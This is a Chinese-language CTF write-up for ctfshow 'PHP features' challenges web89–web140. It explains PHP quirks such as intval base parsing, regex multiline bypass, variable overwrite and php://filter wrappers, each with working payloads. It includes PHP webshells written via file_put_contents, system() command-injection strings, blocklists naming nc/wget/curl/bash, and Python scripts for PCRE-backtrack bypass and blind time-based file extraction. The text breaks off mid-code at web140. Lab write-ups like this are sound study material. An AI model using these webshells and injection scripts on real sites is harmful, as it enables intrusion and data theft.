php特性
web 89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
- preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
- intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
payload:
?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
题解一:
int intval ( mixed $var [, int $base = 10 ] )
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
所以把4476转换成16进制
payload:
?num=0x117c
题解二:
intval() 函数用于获取变量的整数值
echo intval(5.3); ----值为5
payload:
?num=4476.3
web91&web92
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
第一个if需要匹配到php,而第二个if如果匹配到php就会输出hacker,绕过需要不让它匹配到,这里有一个正则匹配的知识点
/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
payload:?cmd=%0aphp
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
题解一:
这道题过滤了字母,所以不能用16进制,但可以用8进制
payload:
?num=010574
题解二同web90
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
strpos() 函数查找字符串在另一字符串中第一次出现的位置
strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
题解一
因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1得执行die,我们可以在前面加个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可
payload:
?num= 010574
题解二
利用换行进行绕过(%0a)
尝试:
?num=%0a4476.1
不行,没有出现0,如果没有找到字符串则返回 0,!0也就是1得执行die
没有0,加个0,payload:
?num=%0a4476.01
web95
多过滤了小数点.符号
可以用上题的题解一,payload:
?num= 010574
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
字符串匹配,加上当前目录 ./ 绕过。
payload:
?u=./flag.php
web97
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
强比较md5类型题目,md5函数无法处理数组,md5函数处理数组会返回NULL,两个NULL即相等
payload:
a[]=1&b[]=2
web98
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这里是三目运算符和取地址,第二行和第三行是无用的,因为用不到,所以我们分析一下第一行和第四行
第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
第四行,如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag
payload:
?1=2
post:
HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
读代码:
看一下代码,流程主要是先创建一个数组,接着往数组里添加rand()函数产生的随机数;
第二个if判断是否存在get参数n,并且用in_array()在数组里搜索值
最后用file_put_contents函数写数据到文件中
先知道16进制0x36d的十进制是多少
得到:36<$i<877
补充:
in_array(search,array,type)
参数 描述
search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同
这里in_array()函数在没有第三个值得时候会进行弱比较,也就是存在强制转换,即123.php此时会被转换为123
payload:
1.
?n=123.php
post:content=<?php @eval($_POST[dotast]);?>
2.
url+/123.php
post:dotast=system("ls");
(找到flag36d.php)
3.
url+/123.php
post:dotast=system("cat flag36d.php");
也可用web117的脚本(修改一下即可)直接跑
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
看到最后eval,肯定是需要命令执行,这需要$v2传入命令,$v3需要;结尾,但这么一来就变成了
$vo = $v1 and FALSE and FAlse
但php有运算的优先级,也就是&&> = > and
如:
$a = true and false;
按照运算优先级,先执行=也就是赋值给$a为true,false就被忽略了
payload:
?v1=1&v2=system("ls")&v3=;
找到ctfshow.php flag36d.php index.php ,根据提示flag在ctfshow.php
所以
?v1=1&v2=system("tac ctfshow.php")&v3=;
0x2d为-
web101
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
类反射的知识点:
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
Flag少一位,需要爆破十六次
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
得到841333050x2dfe640x2d45580x2d8fe10x2d8097b189b6a
0x2d变为-,得
84133305-fe64-4558-8fe1-8097b189b6a
少一位,爆破,得最后一位为4
最终:ctfshow{84133305-fe64-4558-8fe1-8097b189b6a4}
web102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容
首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字
v2:
<?=
tac *;
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473
说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
hex2bin 是一个 PHP 内置函数,用于将十六进制字符串转换为二进制字符串。
payload:
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post:
v1=hex2bin
web103
preg_match("/.*p.*h.*p.*/i",$str)
过滤了php,可以用上一题的短标签
payload:
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post:
v1=hex2bin
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
这道题没出好,直接v1=v2即可
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这里利用的是变量覆盖,关键点在
的值当作了变量,如:$$key=$$value
`,这里把
`$key
$key=flag 则$$key=$flag
例如$flag=ctfshow{xxxxx},?dotast=flag,通过第一个for循环,也就是$dotast=$flag,$dotast=ctfshow{xxxxx},接着再通过第二个for循环,$error=$dotast,此时$error=ctfshow{xxxxx}
payload:
?dotast=flag
post:
error=dotast
web106
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
又回归到sha1()函数的问题,这次在前面多加了一个判断$v1 != $v2,我们就给他们赋值不同就好了,payload:
?v2[]=1
post:
v1[]=2
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str(string,array)
参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
举例
PHP
$a = "name=dotast&age=666";
parse_str($a,$b);
echo $b['name']."\n";
echo $b['age'];
#输出结果
//dotast
//666
现在用一个脚本随意得到一个字符niu的md5值
import hashlib
text = "niu"
md5_hash = hashlib.md5(text.encode()).hexdigest()
print(md5_hash)
得到:
payload:
?v3=niu
post:
v1=flag=fd79700222a9dfff733ee9340428e57f
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
看到echo,就知道这道题用到了魔术方法toString(),不少php的内置类里都包含有这个方法,如Reflectionclass、Exception、Error。
toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
所以echo使得
类触发__toString(),传递的参数v2会被输出。$v1
最后,再对v2后面的括号进行解释,如v2=system(ls),
返回的值会作为函数名去调用,但是调用失败了。$v2()
`会把
`$v2
只要变量后面紧跟着(),那么对这个变量进行函数调用。
payload:
?v1=Exception&v2=system('cat fl36dg.txt')
or
?v1=Reflectionclass&v2=system('cat fl36dg.txt')
web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
这道题过滤了很多,基本上只能使用字母
找到PHP能够获取目录文件名的内置类
可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构,payload:
?v1=FilesystemIterator&v2=getcwd
web111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
eval("$$v1 = &$$v2;");: 这是一个 eval 函数的调用,eval 函数用
于执行传入的字符串作为 PHP 代码。$$v1 和 $$v2 是变量可变化的方
式,表示根据 $v1 和 $v2 的值来构造变量名。
这行代码的作用是将 $v2 的值赋给 $v1。通过 & 符号,这里的赋值操作
是引用赋值,即两个变量将引用同一个内存位置,修改其中一个变量的值会
影响另一个变量。
首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS
介绍:
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
举例:
$a=123;
$b=456;
var_dump($GLOBALS);
输出:
["a"]=>
int(123)
["b"]=>
int(456)
payload:
?v1=ctfshow&v2=GLOBALS
web112&web114
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可
可以直接用不带任何过滤器的filter伪协议
payload:
可以直接用不带任何过滤器的filter伪协议
payload:?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
payload:?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web114多过滤了compress|root|zip|convert
只能
?file=php://filter/resource=flag.php
web113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
在上一题基础上过滤了filter,那我们换另一个协议,使用压缩流zlib://
payload:
?file=compress.zlib://flag.php
web115
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag,而且自定义函数filter也把16进制和8进制等等封死了,我们写个脚本看看有什么字符可以利用
补充:这里!==为强比较,==为弱比较
<?php
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}
?>
在线php运行链接:
https://www.w3cschool.cn/tryrun/runcode?lang=php
发现%0C,也就是\f分页符可以利用,不会被trim过滤掉
payload:
?num=%0c36
web123
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
看到后面有个eval()函数会执行
和if判断需要的两个post即可$c
`,所以我们就关注
`$c
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
black_magic D0G3::CTF
<?php
error_reporting(0);
highlight_file(__FILE__);
$flag=getenv("GZCTF_FLAG");
if(strlen($_GET['a']) < 4 && $_GET['a'] > 100000)
{
if(!is_numeric($_COOKIE['b']) && intval($_COOKIE['b']) === 114514)
{
if($_GET['i_love_Dog3 very.very.much'] == 1 && !preg_match("_", $_SERVER["QUERY_STRING"]))
{
if(base64_decode($_GET['flag'])== "i_love_you_too_too"&&$_GET['flag']!="aV9sb3ZlX3lvdV90b29fdG9v"){
echo $flag;
}
}
}
}
?>
第一处绕过:直接用科学计数法
第二处绕过:isnumeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值
第三处绕过:和web124相似,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
最后一处绕过:加==后base64解码后是一样的
payload:?a=1e9&i[love_Dog3 very.very.much=1&flag=aV9sb3ZlX3lvdV90b29fdG9v==
web125
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
在上一题基础上过滤了flag和echo关键字,我们可以用highlight_file来显示文件,因为flag被在post中被ban了,我们通过get来传参
payload:
?dotast=flag.php
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[dotast])
或者
post:
CTF_SHOW=flag.php&CTF[SHOW.COM=1&fun=highlight_file($_POST[CTF_SHOW])
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
姿势一:
当GET方式传入 赋值的语句$fl0g=flag_give_me;时
$a[0]=$_SERVER[‘argv’][0]="$fl0g=flag_give_me;"
eval()函数是将()里面的内容当作php来运行,可以让这句话($fl0g=flag_give_me;)在php中进行赋值
然后通过echo $flag; 输出flag值
?$fl0g=flag_give_me; #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) #POST
姿势二:
+隔断argv
parse_str — 将字符串解析成多个变量
?a=1+fl0g=flag_give_me #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1]) #POST
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
这里开启了
一样的效果$_SERVER['QUERY_STRING']
`和上题的
`$_SERVER['argv'][0]
如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格payload:
?ctf show=ilove36d
web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
这里嵌套了两层的call_userfunc
这里对$f1进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展() 等效于 gettext()
<?php
echo gettext("ctfshownb");
//输出结果:ctfshownb
echo _("ctfshownb");
//输出结果:ctfshownb
因此call_userfunc('','ctfshownb') 返回的结果为ctfshownb,接下来到第二层call_user_func,找了一圈发现get_defined_vars函数可以使用
get_defined_vars ( void ) : array 函数返回一个包含所有已定义
变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的
变量。
payload;
?f1=_&f2=get_defined_vars
web129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
?>
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
php伪协议绕过
payload:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了
或
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
非预期解
额,这题直接就ctfshow就过了,因为正则模式匹配不到,然后stripos()搜索字符串返回的值是0(因为ctfshow第一次出现的位置就是0下标)也跳过了if里的语句直接输出flag
payload:
f=ctfshow
预期解
考的是正则的最大回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
直接用脚本
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/27 17:52
# blog: www.wlhhlc.top
import requests
url = "http://a42ddd75-1bd6-4717-88d4-c007cd8d43a7.challenge.ctf.show/"
data = {
'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
web131
同上
将
'f': 'dotast'*170000+'ctfshow'
`改为
`'f': 'dotast'*170000+'36Dctfshow'
web132
在robots.txt里看到提示admin
访问后看到源码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
?>
三个get参数,并且有个if判断条件;php运算符优先级 ||优先级低于&&,看个简单例子
<?php
if(false && false || true){ //false && false=false,也就是(flase || true)
echo 667;
}
//输出结果:666
我们只需要满足username=admin过第一个if条件,code=admin满足第二个if条件即可
payload:
?username=admin&code=admin&password=dotast
web133
web134
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
如果我们传入?_POST[a]=dotast,就会输出array(1) { ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
payload:
?F=
$F ;cp flag.php 2.txt
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
先:
?c=ls | tee a
然后访问url/a,查看文件,发现里面只有index.php
?c=ls / | tee b
发现里面有f149_15_h3r3
?c=cat /f149_15_h3r3 | tee c
web137
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
没有难度,就是直接调用ctfshow类中的getFlag方法就好
payload;
ctfshow=ctfshow::getFlag
web138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
在前一题基础上把冒号给ban了,但call_user_func支持传入数组形式
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
咋看好似和之前的题没变化,但好像ban了写入文件的权限,没有回显了,只能开始盲注了
利用shell编程的if判断语句配合awk以及cut命令来获取flag
awk逐行获取数据
cut命令逐列获取单个字符
利用if语句来判断命令是否执行
用命令ls \查看根目录来获取flag文件名,脚本如下
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://49cc1c93-3c58-4e9c-893e-ada4c6a2b896.challenge.ctf.show/"
result = ""
for i in range(1,5):
for j in range(1,15):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "
得到:
发现一个文件名是f149_15_h3r3的文件,flag就在这里边,那就改一下脚本cat一下
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://49cc1c93-3c58-4e9c-893e-ada4c6a2b896.challenge.ctf.show/"
result = ""
for j in range(1,60):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 5;fi"
try:
requests.get(url=url+payload, timeout=(4,4))
except:
result = result + k
print(result)
break
result += " "
刚开始尝试sleep 5,timeout=(1.5,1.5)
得到一些奇怪的符号,把时间加长后,成功拿到flag
web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
